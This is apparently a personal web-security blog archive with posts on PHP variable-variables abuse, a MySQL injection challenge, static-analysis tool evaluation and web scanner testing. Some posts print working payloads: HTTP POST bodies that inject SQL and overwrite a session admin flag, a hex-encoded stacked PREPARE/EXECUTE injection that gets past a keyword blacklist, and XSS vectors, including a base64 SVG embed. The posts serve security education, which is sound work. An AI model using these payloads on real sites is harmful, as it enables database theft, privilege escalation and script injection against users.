nd
Subscribe to the RSS feed

Keyword - Vulnerabilities

Entries feed - Comments feed

Tuesday, September 20 2011

PHP, variable variables, oh my!

I was just looking at some PHP code for one of our clients, and found a case I haven't seen many times before. I thought I should share it here.

The code I was looking at looks like this:

<?php

// Init the PHP array with some SQL code to start the query
$declareSQLArray = InitializedArray('stuff');

// Use a strong enough validation routine for do the input
// validation of POST variables
while(list($name, $value) = each($_POST)) {
        if(!is_array($value))   
                $$name = StrongValidation($value);
        else
                $$name = $value;
}

// Do something with my variables and always do a proper
// validation when I use the data

// Eventually, build my SQL command, and send this to the DB
$sql_command = join(' ', $declareSQLArray);
mysql_query($sql_command);

?>

The code, even if horribly constructed, does not seem to show important weaknesses, but the usual case of submitting a POST variable as an array, and bypassing the StrongValidation. Then, in that case, it would have failed every other validation routines in the code.

Even if experienced with PHP, you might not have encountered variable variables before. In short, this allows to dynamically declare named variables. Here is a simple example:

hubert:~ Romain$ php -r '$name="foo"; $$name="Hello World!\n"; echo $foo;'
Hello World!

Here, the variable $foo gets declared, and assigned using PHP's variable variables capabilities.

Getting back to our code example, I'm sure the reader will spot the issue, and what an attacker can do to exploit such scenario to trigger, in that case, a SQL injection. Since the variable $declareSQLArray is defined and initialized before the POST variables lookup, it is possible to reassign it using the variable variables. In that case, no validation is performed when we submit an array, and this is exactly what we want to do!

To exploit the SQL injection, you only need to submit POST variables to overwrite the $declareSQLArray, and add the content that we want in it!

POST /code_example.php HTTP/1.1
Host: example.com
...

declareSQLArray%5B%5D=SELECT...;&declareSQLArray%5B%5D=--&whatever...

Job done! The resulting SQL query will start with the payload that was submitted as part of $declareSQLArray. You've got your SQL injection.


Update: While driving back home, I was wondering if I could overwrite values from the SESSION using this technique. A couple of lines of code, and POST request after the answer is short: YES.

Imagine that you have an isadmin variable as part of the session (which is an associative array). This variable would be set in a code like this:

if ($user->isNotAdmin())
        $_SESSION['isadmin'] = 0;
else
        $_SESSION['isadmin'] = 1;

Exploiting the previous weakness of the code example, we are able to overwrite the $_SESSION['isadmin'] content, only by supplying what will be interpreted as an associative array by PHP:

POST /code_example.php HTTP/1.1
Host: example.com
...

_SESSION%5Bisadmin%5D=1&whatever...

I'm sure you're thinking, as I do, that this is getting more interesting!

Anyways, this issue is not new at all, it is known as Dynamic Variable Evaluation (thanks to Steve Christey).

The interesting part of it is that DAST won't be able to detect it (or maybe if you are lucky enough), and it is very hard for a SAST to deal with it (actually, I doubt any SAST vendor who supports PHP handles this case, but it's not impossible since they have all they need to solve the problem).

Update 2: Based on the comments, I did some testing and observed that even if we can overwrite data from the session, this data does not get persisted in the session. This means that you can still control a value from a super global for the remaining execution of the script, but cannot persist the data.

Wednesday, July 13 2011

Dissection of a SQL injection challenge

As part of the SQL injection challenges that I developed (focusing on MySQL), one of the classic challenges (we have the same types for XSS), is a simple, yet disturbing for juniors, black-list and few controls such as partial output encoding.

In the case of SQLi, I decided to blacklist the following keywords (as seen during an assessment): select, union, drop, delete, insert, and, or, where, update, if, not

On top of this, I use the mysqli function that properly escapes strings (mysqli_real_escape_string), and I remove all white-spaces.

The SQL commands is using a multiple queries aware driver (i.e., you can stack queries), and the injection context is fairly simple and we have something like this: SELECT username FROM users WHERE userid=<<HERE>>

Since this is an * exploitation* challenge, the goal is to extract the password of a given user from this database.

Now, every time that I write a challenge, I first come up with the application and I need to break it after to make sure that there is a solution (unless the challenge is derived from what I found already in some of my previous assessments).

Anyway, here my main personal challenge was to come up with a query that would retrieve the proper data without using one of the black-listed keywords. Spaces and quotes are easy not to care about simply by using /**/ as a word separator, and we can use the hexadecimal representation of strings so that we make sure not to use single-quotes & co. Here is a quick summary with 2 similar queries:

  • Spaces bypass: select/**/foobar/**/FROM/**/table/**/WHERE/**/user='c3';
  • Single quotes: select foobar FROM table WHERE user=0x6333;

The way I found to solve this challenge is to use MySQL prepared statements. However, I was fairly disturbed at first since I cannot use the following syntax in MySQL:

PREPARE st FROM 0x73656c656374202a2066726f6d207573657273;
EXECUTE st;
DEALLOCATE PREPARE st;

where 0x73656c656374202a2066726f6d207573657273 contains the query to get everything from the users' table (i.e., select * from users). The syntax of the PREPARE keyword is not flexible like any other string manipulation in MySQL, and does not allow strings with their hexadecimal representation.

The gotcha here (I wouldn't call this a trick) is to use a temporary variable assignment, and use this variable in the PREPARE construct. The final construct I used is the following:

SET @v=0x73656c656374202a2066726f6d207573657273;
PREPARE st FROM @v;
EXECUTE st;
DEALLOCATE PREPARE st;

Now, putting the pieces together, and adding this into the our original query, we get a payload similar like this:

9999||username=0xdeadbeef;SET/**/@s=0x73656c656374202a2066726f6d207573657273;PREPARE/**/ss/**/FROM/**/@s;EXECUTE/**/ss;DEALLOCATE/**/PREPARE/**/ss;#

This construct is very similar to the solution of the challenge, but not exactly the same since we need to use the application to display the data. Therefore, in that case we need to make sure that the prepared statement will return only one column, etc.

Anyway, I wanted to share this since I haven't come across many references that talked about using prepared statements as SQL injection payloads...

Saturday, February 21 2009

SHA-3 reference implementations buffer overflows

Fortify just posted a nice blog post about the audit they did on several reference implementation that compete for being the next NIST SHA-3.

They do not release much information on their findings: only one is described. I would have really like to see how powerful was the analysis (if it was) to find these problems.

It could be nice too to see other tool vendors, such as Grammatech, Klocwork, Coverity, etc. to do the same, and then, start another competition ;)

I'd really like to emphasize the conclusions in the Fortify's blog post:

Reference implementations don't disappear, they serve as a starting point for future implementations or are used directly. A bug in the RSA reference implementation was responsible for vulnerabilities in OpenSSL and two seperate SSH implementations. They can also be used to design hardware implementations, using buffer sizes to decide how much silicon should be used.

The other consideration is speed, which will be a factor in the choice of algorithm. The fix for the MD6 buffer issues was to double the size of a buffer, which could degrade the performance. On the other hand, memory leaks could slow an implementation. A correct implementation is an accurate implementation.

Friday, February 29 2008

NIST SATE step 3 completed: test cases information release

This evening at work, with Vadim, we were exhausted after days of work but we were smiling. Smiling and happy because we knew that the step 3 of SATE was pretty much done. The step 3 is when all the participants are sending their output to us. Even if we know that we will have hard time to come up with the master reference list for each test cases what we selected for SATE 2008, we know that this is interesting data for the SwA community and especially SCA studies.

Today, we can finally tell which test cases were selected by us for SATE 2008. First of all, we have 2 different tracks: C language and Java language. For the java track, we decided to look more into web applications. We then have:

And for the C track we selected:

  • Nagios: host, service and network monitoring with web interface (using CGI)
  • Lighttpd: web server
  • Naim: console instant messenger

You may have lots of comments on why these and I am totally ready to answer your questions. Just to let you know, during the selection phase, we reviewed 50+ different applications. For each applications, we had to scan them using tools, doing some manual review and our main goal is to find at least one exploitable vulnerability. Concerning the type of test cases themselves, the constrain is to have real exploitable vulnerabilities and they must be real applications which means basically, not test cases that we have in our SRD.

Just as reminder, the next important dates for SATE 2008 are:

  • April 15, we are distributing to the participants our master reference list, the list of real weaknesses found by the participants
  • June, comparison of all the participants results, the participants get all the reports submitted at SATE 2008
  • December, all the data and reports are public

Monday, February 25 2008

Code review: facilitate the SCA output analysis

This post is not exactly a follow up of a previous post called Code review tools: the missing link (so far), But since I will have to perform a lot of code review in the next couple of weeks and also tool output analysis, I was looking for some tool to help me, to facilitate my job. I've been asking people for links, tips etc. but nothing really convinced me. I am looking for a tool which is basically able to smartly index the source code I am reviewing, which means that I want to be able to look at the variables, where they are declared, affected and used... I also want to see the call graphs of functions and this, mostly to probe the correctness of tool output.

After a couple of hours looking at specialized tools, I was not able to find something good and free (No, I don't call cscope good!). Yes, there are a couple of commercial ones, especially the ones shipped with the commercial source code analyzers and well, they're not perfect at all!

So, this morning, I was like frustrated when I actually thought of using a tool I used a lot, but for a quite different utilization: Doxygen. You may know this documentation tool, but may not know all it is capable of.

As a documentation generation tool, it is really powerful and mostly based on specially formated comments that the developers seed in the source code. But the tool is also generating a bunch of structure related information such as classes relations, function calls graphs etc. As I don't want to generate a documentation of the code I'm reviewing, I don't mind not to have the well formated comments. I am asking this tool to generate me the structural information and facilitate the navigation from function to function.

I made a small example of the report generated by Doxygen using the configuration I made for getting all the information I wanted (only one page since the documentation and the pictures etc. are kinda big...). In order to generate the configuration I wanted, I made a tiny python script ozone.py since the DoxyWizard is not really convenient for that. Also, I will add a process to pre-compile the JSP files since Doxygen doesn't understand the JSP syntax and the option to use the Doxygen search engine (PHP script that use and file with indexed tags).

This is the first step of that script, as you may see by looking at the source code, I am also generating the XML files, this is because the XML generated Doxygen documentation contains a lot of interesting information that I may use later... Also, while looking at the Doxygen source code, I thought that it could be possible to integrate many more static analysis such as computing metrics, etc. Anyway, so many other things to do than thinking about that right now!

Tuesday, February 19 2008

Code review tools: the missing link (so far)

First of all, I do not consider myself as a pen-tester so maybe you will find these ideas irrelevant, stupid or useless... I have been doing some pen-testing though, whether it was for some friends, for fun (yeah, it's good to learn like that) or for profit (well, it was kinda part of my job for SATE 2008) so I'm not that n00b but I am not a pen-tester. I am not an expert in pen-testing and code review. But when I do some, at work, I have the chance to be able to use commercial tools — I say it's a chance because there is a real benefit of using such tools. In fact, tools are good, way better than me, they can find thousands of vulnerabilities in minutes... I cannot; I need way more time. But here is a little feedback vendors can have from me, utilizing the tools.

The tools are amazing to find some defects, saying that something doesn't look good to them and giving you a stack of 42 function calls. Eh! that's part of the job to examine this bunch of function in order to see why the tool reported this as a vulnerability. So, examining the functions means looking how the data will be transformed/transported from a point to one another. And I cannot tell you the pain it is to do that for the dozens of reported vulnerabilities where the correctness of the tool is not obvious (at least for me).

While talking about that with Vadim today, I thought of a tool that would be awesome for a code reviewer in order to facilitate the “correctness tests”. The idea is really simple and maybe the tool already exists — if so, please give me a link! — but what if you had a kinda debugger where you were able to select the point where you want to start the dynamic evaluation of a piece of code (the Entry Point) and the point where you want to finish and see the result (the Break Point). What is the difference with a typical debugger? The possibility to do such in relation with the source code. In the interface of the source code analyzer, I would be able to select the entry point I want to start my dynamic analysis and the break point. I would launch the dynamic evaluation which would go to the state of the entry point (maybe by asking how to go there... there is often multiple paths to go to one branch of the code), then I would do the modification I want (trying to bypass some filters for example with some weird strings) and the dynamic engine would run the piece of code until the Break Point; then look at the result.

What I just described is a really narrow view of such combination of static/dynamic analysis, by doing a step-by-step modification of the values. We could have information of the privilege state of the current user for a web application, would be able to replay easily a la web apps scanners, etc.

I know that building such a tool is doable. Hard but definitely doable. So far, the toughest point I saw is to be able to arrive at a given state of the program. You would need to do a binary coverage and looking at the branches to take, recording these and mapping the records with the source code. Once you're done with it, you're ready for modifying the parameters, and to look at the results. Yes, the main difference with a debugger is to come in a given state referenced by a function call. But wouldn't this help you to figure out the correctness of a given piece of code?

Thursday, February 14 2008

SATE ready to go + weaknesses walker + Shmoo + 100

Tomorrow will start SATE 2008: the registered participants will be able to get the test cases associated to the tracks they want to participate in. They will have until the 29th of February to send the report of the tools. We are all pretty excited here before the start. It was a real rush for finding the test cases that we think are good for such an event...

Anyway, just a news to release a python script which is definitely SATE oriented. The idea is only to convert the output of some free tools into the SATE XML format. The script is handling Flawfinder, ITS4 and RATS. It can also look at the NVD for the product and the version in order to retrieve the known vulnerabilities.

You can download the script weaknesses walker as a zip file or just the python script (you will need wwwCall for the NVD scrapping part; wwwCall is also included in the zip).

Example how to use ww with flawfinder:

./ww.py --tool flawfinder --file myproject.out.xml --format sate /home/romain/myproject

or for the NVD scrapper:

./ww.py --vdb winamp 5.2 --file winamp_5.2.nvd.xml

For the next version of ww, I may add the possiblity to play with the SATE XML format itself, such as merging the results of different tools with comparison of report or even just the report of multiple tools...

Also, if you are coming downtown DC this weekend for ShmooCon or even BlackHat DC 2008, if you wanna have a beer just drop me a mail. I wasn't able to find a ticket for Shmoo so will not go, but I will meet with dre and marcin from ts/sci security... so if you are around, just tell me I would be happy to meet more sec. people

The last thing is that this post is my number 100!

Tuesday, February 5 2008

NIST Static Analysis Tool Exposition: No, this is not a competition!

I've was happy yesterday when I learned that Fortify will participate to the Static Analysis Tool Exposition (SATE) we are currently organizing. And even more when I saw this morning Brian Chess blogging about SATE.

We've been working on SATE since our last Static Analysis Summit and, helped with a couple of existing exposition already existing at NIST such as TREC etc. for the guidelines, the rules and so on. But even so, we had some example, we had three difficult tasks:

  1. Make people agree on the fact that it is not a competition
  2. Make vendors participating (if you are a vendor, reading this please, subscribe for participating at SATE)
  3. Choosing the test cases

The last point is not solved yet, and even, none of them can be considered as solved since not everybody is participating to the 2008 exposition (which has 2 tracks: C and Java), but we've been seeking for good test cases in C and Java. Good test cases... means not too big, not too small and having exploitable vulnerabilities. By the way, if any of the readers of this blog have some idea of Java or C test cases that would be good test cases, please, send me links, ideas or whatever :)

Anyway, SATE is on his way, I hope more tool makers will sign up for participating at this experiment.

Maybe another point, due to my usual blogging on web security and web apps security scanners, if SATE is a success as we expect it to be, we may open new tracks for... web application security scanners and I would love to have special tracks for security metrics (I want to show up!! :p)

Wednesday, January 30 2008

Definition parsing: first step done

Since I started to work on my static analyzer using php-ast/oracle, I realized that looking for vulnerabilities need a lot of hard coded/database entries. This is really sad, since, in order to get something correct you would need a huge knowledge database. So I started thinking of generalization of vulnerabilities and way to express it. It's tough. Really.

The most realistic (if I can say so) idea I had is to actually handle vulnerabilities definition using a given taxonomy. I still need a lot of knowledge, especially on the language (PHP) I'm analyzing, especially the output functions, global variable, filters, resources etc. but the big advantage with rules is that you can generalize the definition.

Anyway, I started dealing with natural language, will try to make this fitting into my model in order to communicate with the future static analyzer engine of php-oracle... and thanks to the AIMA project, I was able to get some fast results on the processing:

# source definition:
unvalidated input go to sink in html context
# parse tree:
2 possiblities
##
  02NP[('Adjective', 'unvalidated'), ('Noun', 'input')][]
      23VP[('Verb', 'go')][]
        45NP[('Noun', 'sink')][]
       ('Preposition', 'to')
      35PP[]
     
    25VP[]
      68NP[('Name', 'html'), ('Noun', 'context')][]
     ('Preposition', 'in')
    58PP[]
   
  28VP[]

08S[]
##
  02NP[('Adjective', 'unvalidated'), ('Noun', 'input')][]
    23VP[('Verb', 'go')][]
        45NP[('Noun', 'sink')][]
          68NP[('Name', 'html'), ('Noun', 'context')][]
         ('Preposition', 'in')
        58PP[]
       
      48NP[]
     ('Preposition', 'to')
    38PP[]
   
  28VP[]
 
08S[]

And the taxonomy I used is the following (which needs to be extended to handle more than "input validation"):

IV = Grammar('InputValidation',
	Rules(
		S = 'NP VP | S Conjunction S',
		NP = 'Pronoun | Noun | Article Noun | Adjective Noun | NP PP | NP RelClause | Name Noun',
		VP = 'Verb | VP NP | VP Adjective | VP PP',
		PP = 'Preposition NP',
		RelClause = 'That VP'
	),
	Lexicon(
		Noun = "input | output | privilege | context | header | user | sink | file",
		Verb = "is | go | write | print",
		Adjective = "validated | unvalidated | asynchronous",
		Pronoun = "me | you | i | it",
		Name = "html | database | http | sql | ldap",
		Article = "the | a | an",
		Preposition = "to | in | on",
		Conjunction = "and | or | but | not",
		That = "that"
	))

Now, I only have to finish my model of a vulnerability (I do not think about building something really general, but a model that can handle injection flaws, privilege, communication would be awesome). Once this is finish, lots of things would be possible such as generating attacks directly from the definition (this would be more like a generalized attack generator) and vulns. checkers for the source code analyzer.

I know this is a kinda tough project and I really have lots of other things to do, but I really want to give this a try... just to see where it goes...

Tuesday, January 22 2008

PHP Source Code Analyzer

Months ago, I was talking about and doing some small tests with the php source code security analyzer that I was able to find on the web.

I was able to quickly test the new Fortify SCA 5.0 which is handling PHP application now. I can tell you that I am really exciting about this tool. First of all, it beats from far all the tools I've tested previously (for PHP), which is fair since it's a commercial tool.

But what I'm really excited about now is that I will be able to make more tests on my test suites, compare with my security metrics & basic security analyzer, looking at the behavior of SCA tools when the source code is obfuscated, and so on. You're on the good track Fortify, now, open an API and I will be able to make an hybrid tool...

Since I also have some plan of testing real PHP applications with both testing approaches (static/dynamic), I'd like to see the difference of application coverage, vulnerability finding and false-positive rates (yeah, the last one is obvious, but still interesting).

I'm also glad to see that vendors are taking PHP as a serious language and not only for script kiddies.

Wednesday, November 21 2007

The new grabber

Grabber was a nice project. The main goal for me was to learn stuff around web application security/scanners; I didn't really know much before I started this project. But now that I've been playing with web apps scanners for more than 10months, I need to create a new one and go deeper in heuristics, browser integration and AI.

Grabber was in fact more a spider+fuzzer than something else... Not a good web apps scanner at all. Thinking of the analysis engine... It's something kinda stupid, no JavaScript execution, just simple heuristics for parsing and levenstein distances ;)

Anyway, I decided to start over this project. It's not gonna be a bunch of python scripts anymore, I am gonna use Qt/C++ extensively. The idea if this project is to be pen-testers oriented and open, I want to create a kind of wrapper around WebKit (especially using QtWebKit), a spider as core utilities and after, using plugins. The plugins should be either in C++ or JavaScript (QtScript actually). So far, we are 3 guys thinking of this project: we didn't start yet but we are open to every contribution; the project will of course be free and GPL'd.

I just post this in order to get some comments or suggestions about what a web apps scanner should do... Feel free to comment/mail...

Monday, November 12 2007

Interoperability and web application scanners

Talking about web application security scanners , we all have the same problem: False Positive. It's a fact that cannot exactly be solve by the testing methodology itself (since it relies on pattern detection). So, the idea I started talking about on #webappsec today is a common format for exchanging information between tools.

Ideally, this would work like this:

  1. Tool A is scanning a website.
  2. It exports some information a given format: out-tool-a.xml
  3. Tool B is able to understand out-tool-a.xml and take this as an input
  4. Tool B would then be able to verify the results/false-positive of Tool A by scanning with the information in the out-tool-a.xml

I really think that would be helpful somehow, at least for open-source tools. I'm gonna try to implement this for the next release of Grabber.

Thursday, November 1 2007

My talk at the Verify Conference

Last Tuesday, I went to the Verify conference to give a talk about Web application scanners evaluation: what we are actually doing at NIST. I'm gonna make a simple entry reviewing what I actually talked about. The slides are here.

First of all, the evaluation was made with a test suite I made. The choices for the test suite are kinda simple, I wanted something really close to a real website. So I decided to use a real website (not a couple of test cases). The website contains multiple seeded vulnerabilities from different kinds (XSS, SQLi, RFi, CSRF, etc.). The website is actually configurable in a sense of vulnerability: you can choose what vulnerabilities will be in the website or not (let's say, I only want to have XSS vulnerabilities). Moreover, in order to see the web apps scanners capabilities, we can select a type of defense for the current protection: the level of defense.

Level of defenses

Programmers are different. They have different background, knowledge and approach to solve security problems. The filters we can see in wild web applications are not equivalents, some are good, some are just bad and we have the full shade of effectiveness. So, in order to test web apps scanner with different difficulties (for them) we implemented different level of protection around the vulnerabilities: the level of defenses.

A simple example: SQL Injection

  • Level 0: No protection
  • Level 1: Typecasting (in order to convert integer, boolean, double, strings, dates etc.). This protection will limit the SQL Injection on SQL native number types (integers will be converted as integer: 1' OR 1=1-- will be converted into 1).
  • Level 2: Escaping the meta-characters. We are protecting about quote injection, etc.
  • Level 3: Hiding the MySQL errors, we will now have Blind SQL Injections.
  • Level 4: Restricted user management.
  • Level 5: Using prepared statements.

Since the level of defenses will be use in combination, the order is important. (combination: level 2 = level 2(level 1(level 0))). So, using these level of defenses we are able to select the difficulty that the tool will have to break the vulnerabilities. For the results, if you are looking at the slides, in the detection rate slide, you'll see that there is not result for the level 2 which means that no tools were able to find vulnerabilities in the level of defense 2.

Attack Surface Coverage

Another point I have been working on is the attack surface coverage. A webapps scanner is not a simple piece of software which launches attacks! The crawling/parsing step is actually really important maybe the most important since it will try to understand the application. The attack surface of the test application is the places where the user has a direct interaction, means no algorithms etc. just inputs handling, error messages etc.

Here is an example of attack surface coverage check points (with numbers) for a login function:

(1) Touch the file [login.php]
if ( all fields are set ) then
	(2) All fields are set [login.php]
	Boolean goodCredentials = checkThisUser(fields)
	if ( goodCredentials ) then
		(3) Credentials are correct; the User is now log in [login.php]
		registerCurrentUser()
	else
		if ( available login test > 0 ) then
			(4) Login information incorrect [login.php]
			displayErrorLogin()
			available login test -= 1
		else
			(5) Too much try with wrong credential [login.php]
			displayErrorLogin()
			askUserToSolveCAPTCHA()
		endif
	endif
endif

Basically, we would like the scanner to use the normal behavior paths and also the abnormals (errors etc.) in order to find vulnerabilities there such as Information Leakage etc. Just a note about the attack surface coverage rate: this number cannot be interpreted alone. You need to use this with the detection rate and the false positive rate. In the slides you can see that the tool A as a 25% attack surface coverage of the application, but this is also the tool with best findings and no false positive. This means that the tool were able to find 33% of vulnerabilities (best results from all the 4 scanner we tested) in 25% of the application which can be considered as accurate compared to the others.

The attack surface coverage may have an important impact, depending on what type of testing you are doing with your webapps scanner. If you want a tool to run at the end, doing a full assessement, then you will need a tool which as a very good coverage (since you only rely on that). But if you are looking for a tool which is fully integrated in your testing process (testing == quality and security) then, I think it's better to have an accurate tool which will cover a lower surface, but the tool will cover the important points.

Conclusions

This is actually hard to make a real strong conclusion about the results given in the slides. The test application is a real simple website (banking application) and is far from a real company website; this is a huge confounding factor. Another problem is that I did the evaluation one vulnerability at the time (and one level of defense at the time). This prevent a couple of real life behaviors...

Monday, July 23 2007

Python script utility called wwwCall and Grabber news

wwwCall: HTTP(S) utilities

wwwCall is a very small module for Python (tested under python 2.5 but should be okay for python >= 2.3) which handle the HTTP(S) connection with some special features like proxy, cookies, authentification (basic, digest). This morning, I was working on Grabber and I just realized how ugly the code was, mostly because of how I handled the web connections, so I decided to create a simple module to do the job easily. The idea is to have a single object handling some basic function of the python urllib2.

If you have ever use Python for doing web calls, you'll see that the utilization is damn simple and I think, pretty cool... Example:

# create the object
http = wwwCall('http://rgaucher.info')
# add the features you want (cookies,auth)
http.setCookieFile('./the_path/file.cookie')
# reaching a logging URL and saving the cookie
http.post("http://rgaucher.info/login.php",{'username' : 'foo', 'password' : 'bar'})
# register the username/password for the basic authentification
http.setAuthBasic("romain","mypassword")
# print the content of the protected page
print http.get("http://rgaucher.info/401protected").read()

Download: wwwCall.zip

The next Grabber

So, I've been working on Grabber for a couple of months without a release now; it's mainly because I don't have that much time to work on it, but also because I made lots of modification. Today I added a couple of features:

  • Understanding some mod_rewrite rules for the spider
  • URL exclusion
  • Basic/Digest Authentification

This comes in addition on the previous features I added, mainly:

  • Multi Site
  • Multi threads
  • Cookie analyzer
  • XSS Locator in addition of the XSS Fuzzer which is definitely faster
  • Spider module, only to crawl the site and export it in XML
  • Login ability, keeping session state

I cannot give a d-day for the release of the 0.2 version because I really want to have a more stable product and will feed some test suites I made at work the tool, to be sure it's reasonable (I will not give comparison results with commercial products :P). I also want to have a better spider...

Monday, June 25 2007

How not to waste 6hours?

Make sure that your test case is correct!!!!!

Damn I'm stupid, I was working on Grabber on the session state management, and of course, I did a small test case with a couple of pages to be sure the spider can reach every pages. But, my test case was just stupid and calling twice my index make my session still alive, but the variables were set to an order just crazy and have the same effect as destroying the session.

Anyway, now it works! At least in the next Grabber release:

  • Multi site support
  • Multi-threading
  • Better Session state management, you can now add the login information in the configuration file
  • A new XSS detector based on few vectors and some variations on this. The XSS disclosure based on RSnake's Cheat Sheet is still here, but I needed a new one faster...
  • A module which makes Grabber be able to be used as a simple spider and will save the information in a XML file

I don't know yet when I'm gonna release the version, I need to make sure it works correctly and is stable, I also need to create something to generate nice report (maybe simple XSLT sheets developer/user side) and I want to work more on the hybrid mechanism using different tools (fortify,pixy,php-sat,swaat...)

Sunday, June 17 2007

How making people realizing that web apps vulnerabilities are important?

As most of expatriate, I'm aware of what are the news in my country (France) by watching news websites, mostly, I'm watching France 24 which claims to be the French CNN... Anyway, I was watching some videos, and at the end, like on some websites I'm going (depending on if I have time etc.) I looked at how it works, if it has vulnerabilities etc. Of course, it has some, I will not tell here because I didn't tell them yet, but you can find on the most easy way XSS. What's different with other websites? Nothing but they give information, so people trust them.
There are several types of websites, but I could say that their behavior fits in 3 different categories:

  • They give information: news, tv, radio etc.
  • They store personal information: webmails, commerce, forums etc.
  • The others: blog, personal/companies websites etc.

While XSS'ing that website, I thought that it could have a huge impact to be able to change information (we could have seen that with the story of Apple and the wrong news on eGadget...) . Of course, everybody reading this blog is aware of this, but I'm pretty sure that most of other people just think that vulnerabilities are used to get information, not to store.
So, nothing much here, just thought about how a simple SQL Injection, Permanent XSS, File Inclusion or even information/credentials disclosure could have a huge impact on the World :/

On that conclusion, I could say that the information websites and others security/integrity, as christian1 said month ago, belongs to theses companies! They must understand that without a real strict management of their security, their information could be stolen, replaced by bad people and they must be responsible of that since they are making lot of money on that...

Friday, February 23 2007

CSS is amphetamine for your XSS Injection

Yesterday, on the #webappsec channel, heanol asked how to do an XSS Injection in a anchor tag <a> without the style="expression(..)" referenced by RSnake in the XSS Cheat Sheet.
Then, I proposed him to use the JavaScript event onmouseover="" attribute... Thinking about this it's not really good because the victim has to put his mouse over this link which can be very small etc.
My idea then is to use CSS to make this link taking all the page: this is pretty basic but powerful!

<a href="the link" onmouseover="alert('XSS');" 
style="position:absolute;top:0px;width:100000px;height:1000px;z-index:99999;" >Link</a>


I'll try to post some other CSS based interesting XSS injection...

Friday, February 16 2007

The return of the SVG XSS

Months ago, I talked about the SVG file and the possibility to include JavaScript inside. Yesterday, I read on the blog of Disenchant that this needed XML Injection: that's true.
But then, I started thinking about variants of this and an embedded SVG encoded with Base64 seems to work.

The injected string should be something like:

<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH
A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv
MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs
aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw
IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh
TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="  type="image/svg+xml" 
AllowScriptAccess="always" />


Edit:
You can also find it here now XSS Cheat Sheet.

Thursday, February 15 2007

What are we looking for?

While reading the new post on Jungsonn's blog I decided to explain my point of view here.

Well, the background is around the news in the New York Times made by Acunetix (a Web Apps Scanner vendor):
70% of the websites scanned were found to contain high or medium vulnerabilities ..
I will not talk about the Joe Snyder declaration/bet which is kinda ... well sad for him :/

So, I guess the point of the discussion and maybe the misunderstanding between Acunetix, Joe Snyder, Jungsonn and the many others are the definition of basic words such as vulnerability.
First of all, I have to say that Jungsonn is right when he talk about the kind of vulnerabilities he focus on: let's say directly exploitable to generate some failure on the web apps.
But the point is that a vulnerability is not only this, it may also be really soft! If somebody is able to disclose some information on your website such as list files in a directory (directory listing), reach a sub-domain that he should not be aware of... All of this are vulnerabilities because somebody can get some information from it even if it's not directly exploitable such as remote file inclusion, sql injection etc.

And if I had a to use a Web Apps Scanner, I really need this tool to report all of this things because it should replace (for my company) the consultant team or the hiring of a security expert...


I really think this kind of discussion comes because we don't have a real taxonomy of this words and people have different thinking about security...
And of course I don't claim to have the truth, but at least that's my point of view...

Wednesday, February 7 2007

How you should design a test suite for Web Apps Scanners

If you have ever think about using a web application scanner for testing the security of your website, you certainly made a choice: Which web apps scanner should I buy/use ?

In this post, I will not tell you what is the better black box tester for whatever kind of web application.

The web applications may be very different, the tools are different and thus they could have different efficiency (i think it's non countable noun)... If you read this, you probably know that I am talking about scanners such as WebInspect, AppScan, Acunetix, Hailstorm, Pantera, Grabber... In the following sections, I will explain a main idea that should be used for testing such a tool.

A test suite for our tools is a website, this website has typically vulnerabilities; you can see this kind of website by watchfire, spi but also WebGoat, SiteGenerator or others. But all of these websites are not realistic and do not consider that the vulnerabilities may exist in different instances: variants.
If you don't know what is a variant check at the XSS Cheat Sheet (RSnake) or at the Attack Patterns (Sean Barnum). A variant is what the hacker use to perform his exploit.
A simple example for XSS is: Let's say you protect your website against XSS by checking the <script> tag; this is not perfect and not good because there is some way to insert other type of XSS strings (onmouseover).

Here comes the concept of Level Of Defense. If you are a developer you think about filters, if you are an attacker you think about variants of vulnerability and attack patterns. The level of defense of a website is the strength of its filters again a given vulnerability.

For a SQL Injection you can have multiple type of filters... Here is a possible list of levels for the SQL Injection:

  • Level 0: Show SQL errors / No input filtering
  • Level 1: Hide SQL errors / No input filtering
  • Level 2: Typecasting (integer, string etc.)
  • Level 3: Escaping input strings
  • Level 4: Restricted accounts...
  • ...


In the concept of the level of defense, it's important to not that depending of the type of vulnerability (weakness, failure...) the level n-1 is also performed in the level n or the level n is stronger (for the same variants) than the level n-1 (for instance, for Weak Hash Function it's not possible but using SHA-1 instead of MD5 is a level of defense higher).

A Key point: When you are implementing a level of defense for a vulnerbility, you must be sure that your implementation does the whole thing for that type of filter. For example, if you are escaping the HTML entities, you need to do all not only '<', '>' and in the next LoD escaping ' and ".

Why is the level of defense better than a simple system with vulnerabilities?

With the level of defense, you can calibrate a type of website which may be close to yours; you can construct a test suite with your kind of level of defense and see how the tool detect the vulnerabilities when the LoD increase. It is also a good way to know the state of the art of the tools for detecting vulnerabilities...

The idea was developed to create a test suite in order to evaluate web apps scanners; in this test suite we can select the current type of vulnerability and its level of defense (the hardness to break):


Wednesday, January 31 2007

How to prevent spammers bot?

There is many ways to prevent spam from the bayesian tests (statistical tests) to the basic captcha ... But we all know that pictures captcha can be bypassed by OCR even if it can be quite tough, there is some sofwtare and articles (example here).
Well, let's talk about 2 other ways:

1. JavaScript version

Assuming that robots do not interpret JavaScript (which is probably true for most of the bots) it would be nice to have a hidden field filled by JavaScript. It's quite simple to make such a script:

var W3CDOM = (document.createElement);
var inputInserted = false;
function addInput() {
	if (!W3CDOM || inputInserted)
		return;
	// create the input form
	var hiddenInput = document.createElement('input');
	hiddenInput.type = "hidden";
	hiddenInput.name = "testBrowser";
	hiddenInput.value = "success";
	//now add the input to the DOM.
	document.forms[0].appendChild(hiddenInput);
	inputInserted = true;
}

Then, you test that the GET/POST('testBrowser') == 'success'; The input looks like that:

<input type="text" name="OneOfMyFields" onclick="addInput()" />

2. Script generated form

The idea is to create a form with one input which has different instances, let's say:

<input class='c1' type="text" name="login_1" value="" />
<input class='c2' type="text" name="login_2" value="" />
<input class='c3' type="text" name="login_3" value="" />

With your script, you choose a 'random' number from 1 to 3, create the good CSS style (hide the not chosen value). The script store in the a cookie /SESSION/JavaScript the value of the random number then check after with this value.
